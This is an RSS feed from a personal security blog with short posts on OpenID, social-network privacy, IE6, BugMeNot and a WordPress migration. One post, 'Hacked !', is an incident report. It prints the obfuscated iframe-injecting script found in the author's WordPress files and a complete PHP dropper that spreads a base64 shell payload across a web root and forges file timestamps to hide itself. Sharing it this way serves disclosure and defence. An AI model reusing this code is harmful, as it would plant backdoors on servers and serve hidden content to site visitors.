<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Phocean.net / Computer Security &#187; Web</title>
	<atom:link href="http://www.phocean.net/category/web/feed" rel="self" type="application/rss+xml" />
	<link>http://www.phocean.net</link>
	<description>&#34;A defense that hedgehogs possess is the ability to roll into a tight ball, causing all of the spines to point outwards.&#34; -- Wikipedia</description>
	<lastBuildDate>Wed, 30 Nov 2011 22:02:47 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>OpenID rants</title>
		<link>http://www.phocean.net/2010/07/23/openid-rants.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=openid-rants</link>
		<comments>http://www.phocean.net/2010/07/23/openid-rants.html#comments</comments>
		<pubDate>Fri, 23 Jul 2010 03:44:37 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Authentication]]></category>
		<category><![CDATA[OpenID]]></category>
		<category><![CDATA[password]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=877</guid>
		<description><![CDATA[After I tried to set this blog as my own OpenID provider using the OpenID WordPress plugin, I got a weired error message: &#8220;This is an OpenID Server, Nothing to See Here&#8230; Move Along&#8221; I could not find what as wrong, as all prerequisites were fulfilled, until I find this nice post. The patch there [...]]]></description>
			<content:encoded><![CDATA[<p>After I tried to set this blog as my own OpenID provider using the <a title="OpenID WordPress Plugin" href="http://wordpress.org/extend/plugins/openid/" target="_blank">OpenID WordPress plugin</a>, I got a weired error message:</p>
<p><em>&#8220;This is an OpenID Server, Nothing to See Here&#8230; Move  Along&#8221;</em></p>
<p>I could not find what as wrong, as all prerequisites were fulfilled, until I find this <a title="openID server" href="http://patchlog.com/wordpress/openid-server-on-php-5-3/" target="_blank">nice post</a>. The patch there works very well, thanks to the author (it is a shame that it wasn&#8217;t yet included in the trunk).</p>
<p>This and the lack of active open-source development around OpenID seems to show that it is not really popular. It is a shame because it is a pretty good solution against the multiplication of passwords. I wouldn&#8217;t want to use OpenID for my bank account access, but it is just right for many sites, forums, etc. Unfortunately, no many sites are yet OpenID enabled and the choice when you want to become your own provider is very limited (most of projects listed in the official wiki are dead, with no update for the last 2 years).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/07/23/openid-rants.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Deleteyouraccount.com to easily get rid off social networking</title>
		<link>http://www.phocean.net/2010/04/04/deleteyouraccount-com-to-easily-get-rid-off-social-networking.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=deleteyouraccount-com-to-easily-get-rid-off-social-networking</link>
		<comments>http://www.phocean.net/2010/04/04/deleteyouraccount-com-to-easily-get-rid-off-social-networking.html#comments</comments>
		<pubDate>Sun, 04 Apr 2010 17:31:28 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Privacy]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=761</guid>
		<description><![CDATA[Deleteyouraccount.com is a very convenient website if you consider deleting your account from one of these social networking sites that are everywhere now. Of course, they all do their best to make it difficult, trying to hide it and discourage you. Here Deleteyouraccount comes to help. I will still take a few days of thoughts, [...]]]></description>
			<content:encoded><![CDATA[<p><a title="Deleteyouraccount.com" href="http://deleteyouraccount.com/" target="_blank">Deleteyouraccount.com</a> is a very convenient website if you consider deleting your account from one of these social networking sites that are everywhere now. Of course, they all do their best to make it difficult, trying to hide it and discourage you. Here Deleteyouraccount comes to help.</p>
<p>I will still take a few days of thoughts, but I am seriously considering deleting my Linkedin account. I once got invited to it and got trapped.</p>
<p>My private data are certainly useful to Linkedin, but all this stuff has been totally useless to me so far. One of the things I really hate is that it tends to  increase the number of contacts artificially even though the relationship is not sincere.</p>
<p>I have a number of &#8220;contacts&#8221; that I barely know or keep in touch with, whereas I don&#8217;t need Linkedin to communicate with the people I truly appreciate.</p>
<p>Less social networking, more human reliationship, more freedom, more privacy : sounds good.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/04/04/deleteyouraccount-com-to-easily-get-rid-off-social-networking.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>My new toy</title>
		<link>http://www.phocean.net/2010/03/16/my-new-tool.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=my-new-tool</link>
		<comments>http://www.phocean.net/2010/03/16/my-new-tool.html#comments</comments>
		<pubDate>Tue, 16 Mar 2010 21:16:47 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Off-topic]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Web]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=751</guid>
		<description><![CDATA[No, it is not a computer this time. And yes, it is off topic, but I wanted to thank a Japanese friend for his gift and, at the same time, promote his work : He owns a small company in Hokkaido producing a number of wood toys. He is an artist and designs them, which [...]]]></description>
			<content:encoded><![CDATA[<p>No, it is not a computer this time. And yes, it is off topic, but I wanted to thank a Japanese friend for his gift and, at the same time, promote his work :</p>
<p style="text-align: center;"><a href="http://www.phocean.net/wp-content/uploads/2010/03/P1020041-320x200.jpg"><img class="size-full wp-image-752  aligncenter" title="Milcar" src="http://www.phocean.net/wp-content/uploads/2010/03/P1020041-320x200.jpg" alt="" width="267" height="200" /></a></p>
<p>He owns a <a title="Milcar" href="http://www.milcar.jp/">small company</a> in Hokkaido producing a number of wood toys. He is an artist and designs them, which are all hand made and from the local wood.</p>
<p>In our industrial society, where all toys are made of plastic in chinese factories, it is refreshing to see such authentic and nice wood toys.</p>
<p>So think about it for your kids. His website is only in Japanese for now but if you are interested, drop an e-mail and my friend will certainly answer to you shortly (last link in the <a title="Milcar" href="http://www.milcar.jp/">menu page</a>).</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/03/16/my-new-tool.html/feed</wfw:commentRss>
		<slash:comments>4</slash:comments>
		</item>
		<item>
		<title>SecurityFocus changing</title>
		<link>http://www.phocean.net/2010/03/12/securityfocus-changing.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=securityfocus-changing</link>
		<comments>http://www.phocean.net/2010/03/12/securityfocus-changing.html#comments</comments>
		<pubDate>Fri, 12 Mar 2010 21:19:28 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Vulnerability]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=749</guid>
		<description><![CDATA[A big change on Security Focus is going to happen. Except the vulnerability database, most of its content and resources are going to move to Symantec. RIP.]]></description>
			<content:encoded><![CDATA[<p>A<a title="SecurityFocus changing" href="http://www.securityfocus.com/news/11582" target="_blank"> big change</a> on Security Focus is going to happen. Except the vulnerability database, most of its content and resources are going to move to Symantec. RIP.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/03/12/securityfocus-changing.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>bugmenot.com</title>
		<link>http://www.phocean.net/2010/03/08/bugmenot-com.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=bugmenot-com</link>
		<comments>http://www.phocean.net/2010/03/08/bugmenot-com.html#comments</comments>
		<pubDate>Mon, 08 Mar 2010 19:34:09 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[Identity]]></category>
		<category><![CDATA[Privacy]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=731</guid>
		<description><![CDATA[I just discovered the BugMeNot service today. It offers a database of logins shared by the community to login to free websites that require free registration. This is usually annoying to subscribe to such a website just to download a freeware or read an article, and it often makes people choose unsecured or random logins. [...]]]></description>
			<content:encoded><![CDATA[<p>I just discovered the <a title="BugMeNot" href="http://www.bugmenot.com/" target="_blank">BugMeNot</a> service today.</p>
<p>It offers a database of logins shared by the community to login to free websites that require free registration.</p>
<p>This is usually annoying to subscribe to such a website just to download a freeware or read an article, and it often makes people choose unsecured or random logins.</p>
<p>They even provide an extension for Firefox. Thanks to this great website, you are probably going to save a lot of time.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/03/08/bugmenot-com.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Privacy and Facebook</title>
		<link>http://www.phocean.net/2010/01/11/privacy-and-facebook.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=privacy-and-facebook</link>
		<comments>http://www.phocean.net/2010/01/11/privacy-and-facebook.html#comments</comments>
		<pubDate>Mon, 11 Jan 2010 09:51:42 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Desktop]]></category>
		<category><![CDATA[openSUSE]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Privacy]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=675</guid>
		<description><![CDATA[That is exactly why I have never used &#8211; and will never use &#8211; Facebook or anything like that.]]></description>
			<content:encoded><![CDATA[<p><a title="Facebook and privacy" href="http://www.readwriteweb.com/archives/facebooks_zuckerberg_says_the_age_of_privacy_is_ov.php?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed:+readwriteweb+%28ReadWriteWeb%29" target="_blank">That</a> is exactly why I have never used &#8211; and will never use &#8211; Facebook or anything like that.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2010/01/11/privacy-and-facebook.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Anti-IE 6 campaign</title>
		<link>http://www.phocean.net/2009/03/03/anti-ie-6-campaign.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=anti-ie-6-campaign</link>
		<comments>http://www.phocean.net/2009/03/03/anti-ie-6-campaign.html#comments</comments>
		<pubDate>Tue, 03 Mar 2009 19:30:45 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Web]]></category>
		<category><![CDATA[firefox]]></category>
		<category><![CDATA[IE]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=346</guid>
		<description><![CDATA[I found this initiative, apparently started in Sweden, quite funny but also educative. So I just set up the Shockingly Big IE6 Warning plugin in this blog. Then I became curious and checked the stats of this site : So there is still about 9% of our visitors that are running IE 6 and 3% [...]]]></description>
			<content:encoded><![CDATA[<p>I found <a title="anti-ie6 campaign" href="http://ie6.forteller.net/index.php?title=Main_Page#French">this initiative</a>, apparently started in Sweden, quite funny but also educative.</p>
<p>So I just set up the <a title="anti-ie6 plugin" href="http://wordpress.org/extend/plugins/shockingly-big-ie6-warning/">Shockingly Big IE6 Warning plugin</a> in this blog.</p>
<p>Then I became curious and checked the stats of this site :</p>
<p><a href="http://www.phocean.net/wp-content/uploads/2009/03/browser-stats.png"><img class="aligncenter size-medium wp-image-347" title="browser-stats" src="http://www.phocean.net/wp-content/uploads/2009/03/browser-stats-300x256.png" alt="browser-stats" width="300" height="256" /></a></p>
<p>So there is still about 9% of our visitors that are running IE 6 and 3% using some rather outdated versions of Firefox.</p>
<p>And, my god, I would have never imagined that Netscape would appear in the list !</p>
<p>Yes, there is still a lot of work to do about security awareness among users.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2009/03/03/anti-ie-6-campaign.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Ryan Farmer is a spammer</title>
		<link>http://www.phocean.net/2008/08/15/ryan-farmer-is-a-spammer.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=ryan-farmer-is-a-spammer</link>
		<comments>http://www.phocean.net/2008/08/15/ryan-farmer-is-a-spammer.html#comments</comments>
		<pubDate>Fri, 15 Aug 2008 14:23:55 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Ryan Farmer]]></category>
		<category><![CDATA[Spam]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=233</guid>
		<description><![CDATA[For those who still don&#8217;t know, Ryan Farmer would be a spammer and a liar. Quite embarassing to be caught like that. Maybe all this is a lot of noise, but such people deserve a good lesson of living in society. Really.]]></description>
			<content:encoded><![CDATA[<p>For those who still don&#8217;t know, <a title="Ryan Farmer is a spammer" href="http://www.fooishbar.org/blog/tech/ryan-farmer-2008-08-14-21-24.html" target="_blank">Ryan Farmer would be a spammer and a liar</a>.</p>
<p>Quite embarassing to be caught like that. Maybe all this is a lot of noise, but such people deserve a good lesson of living in society. Really.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2008/08/15/ryan-farmer-is-a-spammer.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hacked !</title>
		<link>http://www.phocean.net/2008/06/03/hacked.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=hacked</link>
		<comments>http://www.phocean.net/2008/06/03/hacked.html#comments</comments>
		<pubDate>Tue, 03 Jun 2008 20:25:25 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[Cisco]]></category>
		<category><![CDATA[Hacking]]></category>
		<category><![CDATA[Hardware]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[Perl]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Injection]]></category>
		<category><![CDATA[PHP]]></category>
		<category><![CDATA[Spam]]></category>
		<category><![CDATA[SQL]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=109</guid>
		<description><![CDATA[This blog got hacked yesterday. It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress. It was not just like the classic SQL injection that is usually used to post some malicious post. The following code was added : It make me think that there is a [...]]]></description>
			<content:encoded><![CDATA[<p>This blog got hacked yesterday.</p>
<p>It looks like some spammer managed to inject some PHP code into almost all *.php files of WordPress.<br />
It was not just like the classic SQL injection that is usually used to post some malicious post.</p>
<p>The following code was added :</p>
<pre class="brush: php; title: ; notranslate">&lt;?php echo '&lt;script type=&quot;text/javascript&quot;&gt;function count(str){var res = &quot;&quot;;for(i = 0; i &lt; str.length; ++i) { n = str.charCodeAt(i); res += String.fromCharCode(n - (2)); } return res; }; document.write(count(&quot;&gt;khtcog\&quot;ute?jvvr&lt;11yyy0yr/uvcvu/rjr0kphq1khtcog1yr/uvcvu0rjr\&quot;ykfvj?3\&quot;jgkijv?3\&quot;htcogdqtfgt?2@&quot;));&lt;/script&gt;';?&gt;</pre>
<p><span id="more-109"></span></p>
<p>It make me think that there is a serious vulnerability somewhere on WordPress or a plugin, though my versions were up-to-date.</p>
<p>Now the blog is back to normal, after a clean reinstallation (erased all the former files).</p>
<p><a title="Wordpress, hacked" href="http://wordpress.org/support/topic/179428/page/2" target="_blank">I am not the only one to experience this mess</a>.</p>
<p>For now, the blog is running with a minimal number of plugin &#8211; just akismet, actually &#8211; until the cause of that gets clearer.</p>
<p>Not a lot of plugins runned before, so it mainly means that the OpenID support for authentication is cut off.</p>
<p>As my php knowledge is very low, anyone having some tips is welcome. I love WordPress, I would like to avoid looking for another platform or switch to static html !</p>
<p>&#8211;</p>
<p><strong>UPDATE 06/13/2008 :</strong><br />
As C.S Lee suggested in a comment, there were a very suspicious wp-stats.php file in the root of my hacked archive.</p>
<p>There is the code :</p>
<pre class="brush: php; title: ; notranslate">
&lt;?php

@error_reporting(E_ALL);
@set_time_limit(0);
mt_srand(crc32(microtime()));

define('SHCODE', 'PDaWYgKCRjb2RlID0gQGZyZWFkKEBmb3BlbigkSFRUCmVjaG8gIjwvcHJlPiI7Cj8+');

$pres = array('lib_','co_','pre_','net_','func_','ad_','ext_','new_','old_','fix_','fixed_','na_','av_','fx_');
$fui = $pres[array_rand($pres)];

global $HTTP_SERVER_VARS;
$START = time();
$WD_TIMEOUT = array(8, 7, 6, 6, 5, 5, 5, 5, 0);

function my_fwrite($f, $data) {
  global $CURFILE;
  $file_mtime = @filemtime($f);
  $file_atime = @fileatime($f);
  $dir_mtime = @filemtime(@dirname($f));
  $dir_atime = @fileatime(@dirname($f));
  if ($file_h = @fopen($f, &quot;wb&quot;)) {
    @fwrite($file_h, $data); @fclose($file_h);
    if ($file_mtime) {
      @touch($f, $file_mtime, $file_atime);
    } elseif (@filemtime($CURFILE)) {
      @chmod($f, @fileperms($CURFILE));
      @touch($f, @filemtime($CURFILE), @fileatime($CURFILE));
      @chgrp($f, @filegroup($CURFILE));
      @chown($f, @fileowner($CURFILE));
    };
    if ($dir_mtime) @touch(@dirname($f), $dir_mtime, $dir_atime);
    return $f;
  } else {
    return '';
  };
};

function ext($f) {
  return substr($f, strrpos($f, &quot;.&quot;) + 1);
};

function walkdir($p, $func='_walkdir', $l=0) {
  global $START;
  global $WD_TIMEOUT;
  global $FL;
  $func_f = &quot;{$func}_f&quot;;
  $func_d = &quot;{$func}_d&quot;;
  $func_s = &quot;{$func}_s&quot;;
  $func_e = &quot;{$func}_e&quot;;
  if ($dh = @opendir(&quot;$p&quot;)) {
    if (function_exists($func_s)) {
      if ($func_s($p, $l)) return 1;
    };
    while ($f = @readdir($dh)) {
      if (time() - $START &gt;= $WD_TIMEOUT[$l] ) break;
      if ($f == '.' || $f == '..' ) continue;
      if (@is_dir (&quot;$p$f/&quot;) ) walkdir(&quot;$p$f/&quot;, $func, $l+1);
      if (@is_dir (&quot;$p$f/&quot;) &amp;&amp; function_exists($func_d))
        $func_d(&quot;$p$f/&quot;, $l);
      if (@is_file(&quot;$p$f&quot; ) &amp;&amp; function_exists($func_f))
        $func_f(&quot;$p$f&quot; , $l);
    };
    closedir($dh);
    if (function_exists($func_e)) $func_e($p, $l);
  };
};

function r_cut($p) {
  global $R;
  return substr($p, strlen($R));
};

function say($t) {
  echo &quot;$t\n&quot;;
};

function testdata($t) {
  say(md5(&quot;mark_$t&quot;));
};

$R = $HTTP_SERVER_VARS['DOCUMENT_ROOT'];
$CURFILE = $HTTP_SERVER_VARS['DOCUMENT_ROOT'] .
  $HTTP_SERVER_VARS['SCRIPT_NAME'];
echo &quot;&lt;pre&gt;&quot;;
testdata('start');
$fe = ext($CURFILE);
if (!$fe) $fe = 'php';
//$FN = &quot;namogofer.$fe&quot;;

function _walkdir_s($d, $l) {
  global $FCNT;
  $FCNT = array( 'fn' =&gt; '', 'dir' =&gt; 0, 'file' =&gt; 0, 'simtype' =&gt; 0 );
};

function _walkdir_d($d,$l) {
  global $FCNT;
  $FCNT['dir' ]++;
};

function _walkdir_f($f,$l) {
  global $FCNT, $CURFILE;
  $FCNT['file']++;
  if (ext($f) == ext($CURFILE)) $FCNT['simtype']++;
};

function update_passwd($data)
  {
  global $FCNT;
  $password = &quot;&quot;;
  $possible = &quot;abcdefghijklmnopqrstuvxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789~!@#$%^&amp;*&quot;;
  $i = 0;
  while ($i &lt; 15)
    {
    $char = substr($possible, mt_rand(0, strlen($possible)-1), 1);
    if (!strstr($password, $char))
      {
      $password .= $char;
      $i++;
      }
    }
  $FCNT['passwd'] = $password;
  $md5password = md5($password);
  return preg_replace(&quot;|define\('PASSWD',\s*'(.*)'|&quot;, &quot;define('PASSWD','$md5password'&quot;, $data);
  }

function notinf($ar, $tx)
  {
  $R = true;
  foreach ($ar as $ca)
    {
    //echo &quot;pass &quot;.substr($tx, 0, strlen($ca)).&quot; in $tx for $ca\n&quot;;
    if (&quot;$ca&quot; == substr($tx, 0, strlen($ca)))
      {
      $R = false;
      //echo &quot;gotcha\n&quot;;
      break;
      }
    }
  return $R;
  }

function _walkdir_e($d,$l)
  {
  global $C, $FCNT, $FN, $fui, $pres;

    $the_data = base64_decode(SHCODE);
    $the_dir = opendir(&quot;$d&quot;);
    $is_php=false;
    if ($the_dir)
        while($cfile = readdir($the_dir))
            {
            if(
                $is_php=

                (('.php' == substr($cfile, -4))and
                 notinf($pres, $cfile)and
                ($cfile!='index.php'))

              )
              {
              $FN = &quot;$fui$cfile&quot;;
              break;
              }
              else
              {
              //echo &quot;pass $cfile\n&quot;;
              }
            }

        if ( $is_php and my_fwrite(&quot;$d$FN&quot;, str_repeat(&quot;\n&quot;,100) . str_repeat('', 150) .
                    update_passwd($the_data . str_repeat(' ', 150) . &quot;\n&quot; . str_repeat(&quot;\n&quot;, 100))))
                    {
                    $FCNT['fn'] = r_cut(&quot;$d$FN&quot;);
                    say(implode(&quot; &quot;, $FCNT));
                    }

  };

walkdir(&quot;$R/&quot;);
testdata('end');
?&gt;</pre>
<p>I will try anyway to put a deeper look when I have a little time : now, I have to go to work.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2008/06/03/hacked.html/feed</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Dotclear 2 to WordPress migration</title>
		<link>http://www.phocean.net/2007/05/19/dotclear-2-to-wordpress-migration.html?utm_source=rss&#038;utm_medium=rss&#038;utm_campaign=dotclear-2-to-wordpress-migration</link>
		<comments>http://www.phocean.net/2007/05/19/dotclear-2-to-wordpress-migration.html#comments</comments>
		<pubDate>Sat, 19 May 2007 08:29:11 +0000</pubDate>
		<dc:creator>phocean</dc:creator>
				<category><![CDATA[News]]></category>
		<category><![CDATA[Web]]></category>
		<category><![CDATA[Dotclear]]></category>
		<category><![CDATA[Wordpress]]></category>

		<guid isPermaLink="false">http://www.phocean.net/?p=32</guid>
		<description><![CDATA[Dotclear 2 has been bêta for too long and I thought it was time to go over the limitations of a bêta version.

It seems that many people around have done that way and Wordpress is so popular that I should consider to give a try to it.]]></description>
			<content:encoded><![CDATA[<p>Dotclear 2 has been bêta for too long and I thought it was time to go over the limitations of a bêta version.</p>
<p>It seems that many people around have done that way and WordPress is so popular that I should consider to give a try to it.<span id="more-32"></span></p>
<p>For the migration, under Dotclear 2, I exported all the content into a flat text file.</p>
<p>Then, I installed WordPress : an extremely easy thing ! I have seen many php software easy to set up, but here it is just impressive. Great work&#8230;</p>
<p>Then I put the <a title="flatimport" href="http://www.phocean.net/wp-content/uploads/2007/05/flatimport.txt">flatimport</a> plug-in into the <strong>wp-admin/import </strong>folder, renaming it with a .php extension.</p>
<p>Finally, just go to the plug-in management interface of WordPress and import it ! That went smoothly for me, but still, as expected, the images were missing in my articles.</p>
<p>As both blogs and all my pictures were on the same server, I just needed to move the public directory of Dotclear (containing all images) to the wp-content/uploads folder.</p>
<p>If your pictures have miscellanous origins, don&#8217;t worry, there is a nice plug-in that very easely fetch all the image links of your blog and put the corresponding pictures into the WordPress folder. Look at <a title="Images to WordPress import" href="http://www.bloggingexpertise.com/plugins/cache-images/" target="_blank">there</a>.</p>
<p><a title="Importing to Worpdress" href="http://cvie.free.fr/public/tuto_dc2wp_en.html">On this page</a>, there are also more complete instructions in case you need.</p>
<p>After a few hours of use, I can already say that WordPress is an nice piece of software : it is very simple to use, but also very functional and aesthetic. So far, there is every thing I need.</p>
<p>The community looks also much bigger than Dotclear, which means a lot of plug-ins and additional functionalities. <img src='http://www.phocean.net/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.phocean.net/2007/05/19/dotclear-2-to-wordpress-migration.html/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

